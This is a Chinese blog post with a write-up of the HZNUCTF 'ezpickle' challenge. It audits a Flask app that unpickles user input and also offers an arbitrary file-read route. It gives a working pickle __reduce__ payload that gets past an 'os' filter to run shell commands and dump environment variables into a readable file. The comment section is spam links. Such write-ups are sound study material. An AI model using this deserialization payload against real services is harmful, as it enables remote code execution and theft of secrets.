nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

HZNUCTF ezpickle

代码审计

import base64 
import pickle 
from flask import Flask, request 
app = Flask(__name__)
@app.route('/')
    def index():
        with open('app.py', 'r') as f:
            return f.read() 
@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload") 
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"
@app.route('/readFile', methods=['GET']) 
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

关键代码

pickle.loads(base64.b64decode(payload).replace(b'os', b''))

会继续pickle反序列化,而且会替换os字符,还对flag进行了过滤替换
但是不会回显我们执行命令的结果,但是我们发现有一个读取文件的路由,所以思路基本上确定了,将命令执行的结果放在一个文件中

import pickle
import base64
 
class A():
    def __reduce__(self):
        return (eval,("__import__('o'+'s').system('env | tee a')",))
 
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

当然因为这道题没有过滤,所以可以这样写,但是很多情况都有过滤,需要我们opcode方法来写

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » HZNUCTF ezpickle

评论 9

  1. 博主真是太厉害了!!!

    tzvgbrwdie 2024-09-22    回复
  2. 看的我热血沸腾啊https://www.237fa.com/

    annwfkjxfm 2024-10-01    回复
  3. 想想你的文章写的特别好https://www.ea55.com/

    asbccwuwgk 2024-10-04    回复
  4. 看的我热血沸腾啊www.jiwenlaw.com

    aseyxxfuer 2024-10-05    回复
  5. 《万界仙踪(修复版)》国产剧高清在线免费观看:https://www.jgz518.com/xingkong/142783.html

    ctutfnqitx 2024-11-12    回复
  6. 你的文章让我心情愉悦,每天都要来看一看。 https://www.4006400989.com/qyvideo/69701.html

    nmonzlwiiu 2024-11-14    回复
  7. 你的文章让我感受到了生活的美好,谢谢! https://www.yonboz.com/video/43281.html

    reecqcnnzc 2024-11-15    回复
  8. 你的文章让我心情愉悦,每天都要来看一看。 https://www.4006400989.com/qyvideo/69701.html

    vkslrxczua 2024-11-18    回复
  9. 你的文章让我感受到了生活的美好,谢谢! https://www.yonboz.com/video/43281.html

    bvpfeppaos 2024-11-18    回复